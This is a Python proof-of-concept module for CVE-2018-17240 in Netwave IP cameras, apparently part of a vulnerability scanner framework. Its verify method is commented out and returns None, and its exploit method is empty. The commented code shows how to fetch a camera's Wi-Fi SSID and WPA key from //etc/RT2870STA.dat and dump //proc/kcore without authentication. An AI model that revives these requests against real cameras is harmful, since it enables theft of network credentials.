import base64
import re
import requests

from loguru import logger

from .base import POCTemplate


class CVE_2018_17240(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['netwave']
        self.product_version = ''
        self.ref = """
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17240
        https://github.com/BBge/CVE-2018-17240
        https://www.yisu.com/cve/1983.html
        https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202206-1025
        """
        self.level = POCTemplate.level.high
        self.desc = """
        Netwave IP camera是Netwave的一款网络摄像头。 Netwave IP camera 存在安全漏洞，
        该漏洞源于//proc/kcore 存在内存转储问题。未经身份验证的攻击者利用该漏洞可以从网络配置中窃取敏感信息。
        """

    def verify(self, ip, port=80):
        """
        需要下载一个 kcore, 比较大且非常容易下载失败, 性价比不高, 故暂搁置
        """
        # headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
        # try:
        #     # 获取 id
        #     req = requests.get(
        #         f"http://{ip}:{port}/get_status.cgi",
        #         timeout=self.config.timeout,
        #         verify=False,
        #         headers=headers
        #     )
        #     if req.status_code == 200:
        #         if res := re.findall(f"id='(.*)'", req.text):
        #             _id = res[0]
        #             # 是否可获取 wireless lan 的信息
        #             req = requests.get(
        #                 f"http://{ip}:{port}//etc/RT2870STA.dat",
        #                 timeout=self.config.timeout,
        #                 verify=False,
        #                 headers=headers
        #             )
        #             if req.status_code == 200:
        #                 # return ip, str(port), self.product, '', str(password), self.name
        #                 wpapsk = re.findall(r'WPAPSK=(.*)', req.text)
        #                 ssid = re.findall(r'SSID=(.*)', req.text)
        #                 req = requests.get(
        #                     f"http://{ip}:{port}//proc/kcore",
        #                     timeout=self.config.timeout,
        #                     headers=headers,
        #                     verify=False,
        #                     stream=True
        #                 )
        #                 if req.status_code == 200:
        #                     with open(f"{ip}-{port}", 'wb') as f:
        #                         for content in req.iter_content(10240):
        #                             f.write(content)
        #                     print(f"{ip} is finished")

        # except Exception as e:
        #     logger.error(e)
        return None

    def exploit(self, results):
        pass


POCTemplate.register_poc(CVE_2018_17240)